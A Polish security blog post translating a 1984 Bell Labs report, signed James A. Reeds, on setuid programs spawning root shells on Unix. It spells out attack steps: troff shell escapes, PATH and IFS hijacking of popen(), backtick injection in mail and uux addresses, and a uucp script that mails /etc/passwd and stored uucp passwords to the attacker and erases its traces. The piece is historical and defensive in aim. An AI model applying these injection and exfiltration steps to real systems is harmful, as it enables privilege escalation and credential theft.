NFsec Logo

/bin/sh: Największa luka w zabezpieczeniach Uniksa

19/02/2025 (3 dni temu) w Hackultura Brak komentarzy.  (artykuł nr 922, ilość słów: 2944)

T

owarzystwo Historyczne Uniksa (ang. Unix Historical Society) niedawno otrzymało i udostępniło kopię raportu technicznego Bell Labs z 1984 roku autorstwa Jamesa Allena zatytułowanego: “/bin/sh: Największa luka w zabezpieczeniach Uniksa” (ang. /bin/sh: The Biggest Unix Security Loophole). W czasach, gdy powstawał ten raport Unix był jeszcze znakiem towarowym AT&T Bell Laboratories. Z samego abstraktu możemy dowiedzieć się, że wówczas osoby zajmujące się łamaniem zabezpieczeń określało się terminem “crackerzy”. Mieli oni mieć wiele sposobów, aby stać się superużytkownikami w systemie Unix. Jednak autor wyodrębnił dwie główne klasy luk. Klasa pierwsza składała się z wielu tajemnych i trudnych do wykonania “sztuczek”. Druga klasa to jeden, łatwy sposób, z którego każdy mógł skorzystać bez problemu. Cały raport skupił się w głównej mierze na drugiej klasie. W szczególności na prawowitych poleceniach systemu (takich jak: mail, troff itp.), działających z uprawnieniami superużytkownika, które mogły zostać zmuszone do nieumyślnego wykonywania poleceń w powłoce systemowej. W praktyce raport pokazał, jak wiele programów posiadających bit setuid było napisanych w niedbały sposób zapewniając wspomnianemu crackerowi luki, których potrzebował, aby eskalować swoje uprawnienia. Poniżej znajduje się wolne tłumaczenie:

Notatka techniczna:

W ciągu ostatnich kilku tygodni eksperymentowałem ze sposobami łamania zabezpieczeń systemu Unix. Krążą plotki, że jest to łatwe do osiągnięcia, ale chciałem przekonać się samemu. Miałem doświadczenie z czterema klasami maszyn Unix. Maszyny te są obsługiwane przez inteligentnych, sumiennych i ciężko pracujących ekspertów z bardzo różnymi politykami zarządzania bezpieczeństwem. Są to:

  • Maszyny Murray Hill Research: te znajdujące się w odległości około 100 jardów od biura Kena Thompsona. Ludzie, którzy obsługują te maszyny, wynaleźli Uniksa i nie ma nic, czego nie wiedzieliby o Uniksie.
  • Maszyny badawcze wydziału informatyki Uniwersytetu Kalifornijskiego. Są obsługiwane przez gang BSD. Oni nie wymyślili Uniksa, ale bardzo się starają.
  • Centrum komputerowe Murray Hill. Na tych maszynach działa standardowa wersja Uniksa AT&T System V.
  • Centrum komputerowe Uniwersytetu Kalifornijskiego. Maszyny te są zarządzane przez oddział tej samej firmy, która zarządza więzieniami San Quentin i Soledad. Mają do czynienia z wrogą, inteligentną i twardą grupą studentów i trzynastolatków. Centrum komputerowe nie ufa nikomu, a bezpieczeństwo jest dla nich bardzo ważne.

Cóż, żadna z tych grup maszyn nie jest odporna na opisane tutaj techniki.

Luki klasy pierwszej:

Pierwszą klasą luk bezpieczeństwa są luki typu Mission Impossible Obejmuje ona techniki takie jak:

  • Odszyfrowanie wpisów z pliku haseł.
  • Kradzież haseł użytkowników z innego źródła, na przykład z /dev/mem lub zrzutów pamięci do pliku.
  • Pobranie sabotującego kodu na stację dostępową administratora w celu przeprogramowania jego klawiszy na klawiaturze.
  • Uruchamianie programów imitujących banery logowania z /bin/login na publicznie dostępnych terminalach.
  • Zgadywanie uroczych haseł superużytkowników. Oto obecnie zlikwidowane hasło root: 2b||!2b, które można było zgadnąć.
  • W jednym systemie Bell Labs plik haseł kończył się wierszem formularza ::::::, aby pomóc superużytkownikowi ustawić pola do wpisu dla kolejnego nowego użytkownika systemu. W przeciwnym razie biedy administrator musiałby użyć wiersza takiego jak: reeds:2aNjHUyu.lo96:940:1::/usr/reeds:/bin/csh jako szablonu, co może być męczące dla oczu. To porażka, ponieważ polecenie Unix: su "" uważa, że istnieje użytkownik, którego nazwa ma zerową długość, który nie ma hasła, a którego UID to atoi(“”), co daje zero, czyli UID superużytkownika. Tak więc od razu loguje się jako root.
  • Na innej maszynie Bell Labs specjalny plik /dev/kmem jest zapisywalny publicznie. Proces użytkownika może więc zapisać dowolne dane w przestrzeni adresowej jądra. Poprzez wyzerowanie właściwego słowa w “obszarze U” jądra proces może promować się do poziomu superużytkownika.
  • W sercu kodu maszynowego podprogramu używanego przez jądro systemu Unix do określenia, czy użytkownik ma uprawnienia superużytkownika, znajduje się jednowyrazowa instrukcja maszynowa: bne (skocz do adresu, jeśli wynik poprzedniej operacji nie był równy zero / ang. branch if not equal zero). Jeśli cracker ma dostęp do konsoli komputera może poprawić tę jedną instrukcję na: nop (no-op) i przez resztą dnia wszystkie próby użytkowników, aby władać mocami administratora, zakończą się sukcesem. Po tym, jak cracker zrobił, co chciał, będzie mógł przywrócić instrukcję nop z powrotem na bne, z którego pochodziła.

Wspólnym mianownikiem jest pomysłowość. Każdy doświadczony hacker Uniksa ma do opowiedzenia jeden lub dwa takie przykłady. Listę tę można wydłużać w nieskończoność i jest bardzo mało prawdopodobne, że Unix kiedykolwiek będzie odporny na tego typu luki.

Luki klasy drugiej:

Inna wielka klasa luk nie jest wcale taka pomysłowa. Jest znana, ale nie powinna istnieć i może zostać wyeliminowana przez administratorów zachowujących większą ostrożność. Chodzi po prostu o to, że prawowite polecenia systemu Unix, działające z uprawnieniami superuzytkownika, mogą nieumyślnie wykonywać polecenia powłoki wybrane przez crackera. W szczególności programy z bitem setuid są często pisane niedbale. W swoim artykule z 1979 roku “O bezpieczeństwie systemu Unix” (ang. On the security of UNIX) Dennis Ritchie* ostrzega administratorów systemów, by stosowali odpowiednie tryby ochrony plikom, które są pod ich kontrolą. W szczególności zwraca uwagę, że programy z bitem setuid, które nie są wystarczająco ostrożne w kwestii danych wejściowych, stanowią zagrożenie dla bezpieczeństwa. Jednak administratorzy systemów i programiści systemowi beztrosko ignorują ostrzeżenia Ritchiego lub nie biorą ich wystarczająco poważnie. “Mnie to nie dotyczy” – myślą sobie. Ale każdy system Unix, w którym kiedykolwiek miałem konto, miał jeden lub więcej fatalnych przypadków takiej luki. Reszta tego artykułu wyjaśnia kilka przypadków, które znalazłem.
* Ritchie jest wynalazcą eleganckiej koncepcji setuid, za którą otrzymał petent. Obecnie uważa, że utrudnia ona bardzo rozwiązanie problemu zapewnienia bezpieczeństwa systemu operacyjnego Unix. Z drugiej strony, administrowanie systemem Unix bez programów typu setuid wydaje się jeszcze trudniejsze. Zdaje się, że utknęliśmy z bardzo potężnym narzędziem, które jest łatwe do niewłaściwego użycia i bez którego nie możemy się obejść.

Przypadek 2a: zwykła nieostrożność:

Oto trywialny przykład. Na jednej z maszyn centrum komputerowego Murray Hill znajduje się program setuid o nazwie mroff, będący niewielką odmianą troff Jednym z prawidłowych wywołań programu troff jest !. jak w:

.! date

które wstawia wynik polecenia date do tekstu troff, podobnie jak:

.so nazwa_pliku

wstawia zawartość uniksowego pliku o danej nazwie do tekstu. Jeśli ktoś przygotuje jednowierszowy plik o nazwie, powiedzmy, alpha zawierający:

sh </dev/tty >/dev/tty

a następnie wyda pojedyncze polecenie:

echo ".! sh alpha" | mtroff

od razu stanie się superużytkownikiem. Jest to szokujący prosty przykład zachowania luki drugiej klasy: program setuid wykonuje interaktywną powłokę bez żadnego sprawdzania czegokolwiek.

Przypadek 2b: przesunięcie zmiennej PATH:

Rok temu program setuid /bin/mail na maszynach badawczych Murray Hill miał następującą funkcję. Listy z adresami uucp były obsługiwane przez inne polecenie, /usr/bin/uux. Jeśli wywołałeś program mailer jako:

mail research!dmr

to ten program pocztowy wywołałby podprogram popen(3) zasadniczo (pomijam kilka trywialnych szczegółów) w następujący sposób:

p = popen("uux - research!rmail dmr", "w");

a popen() z kolei zrobił:

execl("/bin/sh", "sh", "-c", "uux - research!rmail dmr", 0);

pozostawiając powłoce wydedukowanie, że żądaną instancją uux jest ta w /usr/bin/uux. Gdyby jednak ktoś zadbał o utworzenie jednowierszowego pliku wykonywalnego uux w bieżącym katalogu, zawierającego:

sh </dev/tty >/dev/tty

i wywołał mailer w następujący sposób:

PATH=: mail research!dmr

wtedy to prywatny plik uux, a nie publiczny /usr/bin/uux, byłby wykonywany z uprawnieniami superużytkownika. Podsumowując: popen() używa zmiennej PATH, aby zdecydować, który program uruchomić. Żaden program działający z uprawnieniami root nie powinien nigdy wywoływać popen() w celu uruchomienia polecenia, którego nazwa nie zaczyna się od znaku ukośnika “/”.

Przypadek 2b: przesuwanie zmiennej PATH, ciąg dalszy:

Ale nawet sugestia z ostatniej sekcji nie jest wystarczająco daleko idąca. Przedstawienie popen() tylko z nazwami ścieżek bezwzględnych nie wystarczy, aby zapewnić, że wspomniane polecenia są tymi faktycznie wykonywanymi. Cracker może ustawić zmienną środowiskową IFS powłoki na niestandardową wartość i nadal oszukiwać powłokę wywoływaną przez popen(). Oto przykład. Wiele poleceń setuid, które działa na plikach w kolejce, potrzebuje znać swój bieżący katalog roboczy i używa do tego kodu podobnego do tego:

char *
getpwd()
{
    static char pbuf[200];
    FILE *fp, *popen();

    fp = popen("/bin/pwd", "r");
    fscanf(fp, "%s", pbuf);
    pclose(fp);
    return pbuf;
}

Cracker może ominąć ścieżkę bezwzględną /bin/pwd, wykonując następujące czynności:
1) Umieścić w bieżącym katalogu wykonywalny skrypt powłoki o nazwie bin, zawierający text:

sh </dev/tty >/dev/tty

2) Wpisać polecenie powłoki:

IFS=/ uucp

które wywołuje program uucp z IFS=/ w aktualnym środowisku. Zmienna IFS jest listą znaków używanych jako wewnętrzny separator pól przez powłokę. Domyślna lista to: stacja, tabulator i znak nowej linii. Efekt ustawienia IFS na “/” jest taki sam, jakby funkcja getpw() wywołała popen("bin pwd", "r"), co powoduje uruchomienie skryptu bin.

Przypadek 2c: frajerska powłoka:

Przykład z przypadku 2b został naprawiony przez wywołanie popen() w postaci:

p = popen("/usr/bin/uux - research!rmail dmr", "w");

Ale nadal istnieje luka. Przepracowując problem od początku cracker chce uzyskać super uprawnienia za pomocą:

/bin/sh </dev/tty >/dev/tty

Stanie się to podczas wykonywania tego polecenia powłoki:

/usr/bin/uux research!` /bin/sh </dev/tty >/dev/tty `

które zostanie spowodowane wykonaniem tych poleceń:

sneaky=\`/bin/sh </dev/tty >/dev/tty; echo dmr \`
date | mail "research!$sneaky"

gdzie znaki “\” chronią “`” i ujęte w nie polecenie /bin/sh przed przedwczesnym wykonaniem. Dodano też echo dmr, aby zapobiec ukończeniu działania polecenia mail, dopóki nie zakończy się interaktywna sesja powłoki /bin/sh superużytkownika. Jeśli się je pominie, zwykła powłoka i powłoka superużytkownika będą konkurować o dane wprowadzane z klawiatury.

sucker shellto slangowe określenie, które odnosi się do sytuacji, w której użytkownik zostaje podstępnie zmuszony do uruchomienia powłoki (interpretera poleceń) z uprawnieniami, których normalnie by nie miał, często z uprawnieniami root (administratora). To otwiera furtkę do nadużyć i potencjalnego przejęcia kontroli nad systemem. Najczęściej frajerska powłoka jest wynikiem luki w oprogramowaniu lub błędu konfiguracji. Atakujący wykorzystuje tę lukę, aby zmusić program setuid (program z ustawionym bitem setuid, działający z uprawnieniami innego użytkownika, np. root) do uruchomienia powłoki. Ponieważ program setuid działa z podwyższonymi uprawnieniami, uruchomiona przez niego powłoka również dziedziczy te uprawnienia.

Wniosek: UUCP jest również niebezpieczne:

Cały system uucp został niedawno przepisany przez R. T. Morrisa, jak opisano w jego raporcie Another Try at Uucp, TM 11275-830831-03. Jednym z powodów tej decyzji była chęć załatania luki w zabezpieczeniach spowodowanej przez starą wersję (nie miałem jeszcze okazji przyjrzeć się bliżej innej ważnej ostatnio przeróbce uucp, a mianowicie tej, której autorem jest Peter Honeyman). Krótko mówiąc, stara wersja zapewniała ogółowi społeczeństwa pewien stopień dostępu do plików na dowolnej maszynie Unix podłączonej do sieci uucp. Każdy to miał konto w systemie Unix, powiedzmy, w RAND Corporation, Lucas Films, Uniwersytecie Toronto itd., mógł poprosić system uucp o skopiowanie dowolnego pliku z dowolnej maszyny Unix w sieci uucp. Jeśli plik nie był zabezpieczony przed odczytem przez innych użytkowników na lokalnej maszynie był kopiowany na maszynę inicjującej żądania kopiowania. Oznaczało to, że w efekcie wszyscy użytkownicy systemu Unix w kraju mieli coś w rodzaju konta logowania na wszystkich maszynach uniksowych z uucp.

Ten stan rzeczy skłonił R. T. Morrisa do sformułowania polityki bezpieczeństwa dla uucp, mianowicie transakcja uucp mogła kopiować pliki tylko z maszyny inicjatora transakcji, ale nigdy na maszynę inicjatora. W ten sposób użytkownik uucp mógł zdradzić swoje tajne dane, ale nie mógł ukraść cudzych danych ze zdalnej maszyny. Ale ta polityka nie jest realizowana w 100%. Nowy schemat uucp przewiduje wysyłanie wiadomości o powodzeniu / niepowodzeniu ze zdalnej maszyny. Ponieważ schemat poczty Unix został uznany za zagrożenie bezpieczeństwa, tak samo jest ze schematem uucp. Poniższe kroki to ilustrują (po szczegóły dotyczące teorii uucp odsyłam do artykułu R. T. Morrisa). Załóżmy, że znajdujemy się na maszynie z uucp o nazwie gauss i chcemy uzyskać plik z hasłami itp. z maszyny o nazwie kgbvax, o które wiadomo tyle, że znajduje się w sieci i działa na niej nowe oprogramowanie uucp. Najpierw przygotowujemy plik na maszynie gauss o nazwie alpha, w następujący sposób:

/bin/mail gauss!reeds < /etc/passwd
/bin/mail gauss!reeds < /usr/lib/uucp/L.cmds
/bin/mail gauss!reeds < /usr/lib/uucp/L.sys

/bin/echo reeds
/bin/rm -f /usr/spool/uucppublic/alpha

To jest skrypt powłoki, który chcemy uruchomić na zdalnej maszynie. Gdy zostanie on uruchomiony na kgbvax, zostanie zapisany w /usr/spool/uucppublic/alpha, więc po wysłaniu nam żądanych sekretów, skrypt usunie się, aby utrudnić ocenę szkód po naszym nalocie (plik /usr/lib/uucp/L.sys jest szczególnie soczystą nagrodą dla crackera uucp, ponieważ zawiera listę maszyn, numerów telefonów i haseł uucp, których kgbvax używa, gdy komunikuje się z innymi zdalnymi maszynami). Cel polecenia /bin/echo zostanie wkrótce przedstawiony. Następnym krokiem jest skopiowanie naszego pliku alpha do kgbvax, co robimy wykonując to prawowite polecenie uucp:

uucp -m alpha kgbvax!~/alpha

Flaga -m oznacza, że zostanie do nas wysłana wiadomość e-mail, gdy plik alpha dotrze do celu bez problemu. Gdy otrzymamy wiadomość, że plik alpha dotarł do kgbvax zgodnie z planem, uruchamiamy kolejne polecenie uucp. Oprogramowanie uucp ma na celu niedopuszczenie do zdalnego wykonywania ciekawych poleceń na kgbvax, a już na pewno nie powłoki poleceń. Użyjemy więc naszej sztuczki z /bin/mail. Polecenie uucp, którego użyjemy to:

date|uux - -m -a gauss!\`sh</usr/spool/uucppublic/alpha\` kgbvax!rmail /unix

Oto, co się dzieje: 1) Zdalne polecenie, które chcemy wykonać to: rmail /unix na kgbvax. To znaczy, że chcemy umieścić wiadomość e-mail w skrzynce pocztowej znajdującej się w ścieżce /unix. To na pewno się nie powiedzieć, ponieważ nie mamy wymaganych uprawnień, a zatem na zdalnej maszynie zostanie wygenerowany komunikat o błędzie. Naszym pozornym celem jest zdalne uruchomienie polecenia rmail, ale naszym prawdziwym celem jest wygenerowanie tego komunikatu o błędzie na zdalnej maszynie. 2) Dane, które dostarczamy zdalnemu poleceniu rmail /unix, są wynikiem polecenia date wykonywanego lokalnie. To, że zdalne polecenie przyjmie dane wejściowe, jest sygnalizowane przez pojedynczy argument w postaci myślnika w poleceniu: uux - .... 3) Flaga -m określa, że chcemy otrzymywać komunikaty o błędach ze zdalnej maszyny przesłane do nas pocztą elektroniczną. 4) Reszta polecenia:

-a gauss!\`sh</usr/spool/uucppublic/alpha\`

jest prawdziwym złotem. Flaga -a mówi, że następnym argumentem jest sposób przekazywania elektronicznej poczty do nas. Używając tej samej sztuczki, którą widzieliśmy w opisie przypadku 2c powyżej, spowoduje wykonanie:

sh</usr/spool/uucppublic/alpha

na kgbvax, a o to nam właśnie chodziło. 5) Skrypt alpha generuje na wyjściu tekst “reeds”, a więc skomplikowany adres:

gauss!\`sh</usr/spool/uucppublic/alpha\`

posiada de facto wartość:

gauss!reeds

(teraz już wiemy, po co było polecenie echo) i poczta jest wysyłana do mnie, zgodnie z planem. Oczywiście w prawdziwym nalocie na serwer upewnilibyśmy się, że skrypt alpha usunął pliki logów uucp, aby utrudnić ludziom z kgbvax zorientowania się, co się z nimi stało.

Przypadek 2d: frajerska powłoka, ciąg dalszy:

Berkeley dystrybuuje oprogramowanie dla lokalnej sieci przechowywania i przekazywania danych o nazwie berknet, podobnej do uucp. Używa ono podprogramu system(3) do organizacji zwracanych danych ze zdalnie wykonywanych poleceń. Tak więc, na przykład, po wykonaniu na maszynie ucbkim, poleceń berknet, takich jak:

netcp ucbjade:remfil locfil

oraz

net -m ucbjade -r locfil ls

spowoduje, że polecenie takie jak:

system("net ... -r locfil")

zostanie wykonane na zdalnej maszynie ucbjade, aby przekierować standardowe wyjście zdalnego polecenia cat lub ls do pliku locfil na lokalnej maszynie ucbkim. Ale jak poprzednio, można wcisnąć zabawną nazwę pliku locfil, na przykład `/tmp/xyz`. Stąd polecenie berknet:

netcp ucbjade:anyfile \`/tmp/xyz\`

wykonane na ucbkim oszukuje daemona berknet na ucbjade, aby wykonał polecenie:

/tmp/xyz

jako superużytkownik. Zabawnym wnioskiem jest to, że berknet sprawdza możliwość zapisu lokalnych plików przed przesłaniem zadań do zdalnej maszyny. Dlatego użytkownik musi utworzyć podkatalogi:

`

oraz

`/tmp

w swoim katalogu domowym. I berknet stworzy plik:

xyz`

w katalogu `/tmp. Obecność takich zabawnych nazw plików w systemie plików oraz w plikach logów berknet może być dla administratora systemu sygnałem, że coś jest nie tak. Dlatego też ostrożny cracker usunie wszystkie ślady takich aktywności zaraz po uruchomieniu programu /tmp/xyz. Ta metoda łamania zabezpieczeń wymaga wspólnika na zdalnej maszynie, który przygotuje na niej plik w ścieżce /tmp/xyz. Łatwo sobie wyobrazić podobne sztuczki z użyciem nazw plików zawierających dowolne meta znaki powłoki poleceń: ;, (, lub ).

Morał:

Programy z bitem setuid (z jednym wyjątkiem polecenia su) nie powinny uruchamiać powłok systemowych. Ponadto nie powinny wykonywać żadnego programu, którego nazwa nie zaczyna się od ukośnika. We wszystkich przypadkach powinny bardzo dokładnie sprawdzać swoje argumenty. Nie powinny wywoływać żadnego z tych niebezpiecznych podprogramów:

execlp
execvp
popen
system

Ostatnie dwa z nich (jak widzieliśmy powyżej) mogą wiązać się wykonaniem dodatkowych poleceń systemowych, które nie były zamierzone przez programistę. Każde wywołanie któregokolwiek z powyższych podprogramów lub jakiejkolwiek innej formy exec powinno być poprzedzone funkcją setuid(getuid()), jeśli to w ogóle możliwe. Typowy system Unix ma zbyt wiele programów setuid. Na przykład nie jest konieczne, aby /bin/mail miał bit setuid root; wystarczy bit setgid dla jakiegoś pozornego użytkownika, takiego jak mail. Ogólna zasada, zasugerowana przez Roba Pike’a jest taka, że programy setuid powinny być dokładnie tymi, które wymagają haseł od użytkownika. Konsekwencją tego jest to, że wszystkie programy setuid powinny być wywoływane tylko interaktywnie.

Każdy program setuid i każdy daemon uruchamiany przez użytkownika root z /etc/rc powinien zostać dokładnie przestudiowany, aby upewnić się, że nie ma możliwości, aby jakakolwiek sztuczka z wprowadzaniem danych mogła zagrozić bezpieczeństwu. Taka inspekcja powinna być rozszerzona na wszystkie programy wykonywane przez setuid i daemony z prawami superużytkownika itd. Jedynym przypadkiem, w którym wykonywany program nie musi być sprawdzany, jest jawne wywołanie funkcji setuid() przez program nadrzędny, z niezerowym argumentem przed wywołaniem exec. Rozumiem, że Fred Grampp pisze program sprawdzający tryby uprawnień niektórych wrażliwych plików znajdujących się na oficjalnej liście. Taki program powinien być rozszerzony o inny, który weryfikuje że jedynymi programami setuid w danym systemie plików są te podane na oficjalnej liście. Na koniec, należy przyjąć przydatną funkcję wersji Berkeley systemu Unix. Zgodnie z tą funkcją za każdym razem, gdy jakikolwiek plik zostanie zmodyfikowany w jakikolwiek sposób, automatycznie traci wszystkie atrybuty setuid lub setgid, które mógł mieć.

Podziękowania i ostrzeżenie:

Podczas pisania tego artykułu odbyłem kilka rozmów z Fredem Gramppem, Robem Pike’em, Dennisem Ritchie, Peterem Weinbergerem i Aaronem Wynerem, za których pomoc jestem bardzo wdzięczny. Po napisaniu tego artykułu dowiedziałem się o innym artykule na podobny temat: UNIX System Security autorstwa F. I. Gramppa i R. H. Morrisa. Ich artykuł przedstawia szerszą perspektywę bezpieczeństwa systemu Unix, biorą pod uwagę znacznie szerszy zakres zagrożeń z bardziej teoretycznego punktu widzenia. Niniejszy artykuł można traktować jako podręcznik typu “jak to zrobić”, ilustrujący niektóre materiały, które Grampp i Morris uważają za oczywiste. Błędy ukazane w tym artykule zostały zgłoszone odpowiednim menedżerom systemów i mogą zostać naprawione w niedalekiej przyszłości.

James. A. Reeds

Kategorie K a t e g o r i e : Hackultura

Tagi T a g i : , , , , , , ,

Brak nowszych postów

Komentowanie tego wpisu jest zablokowane.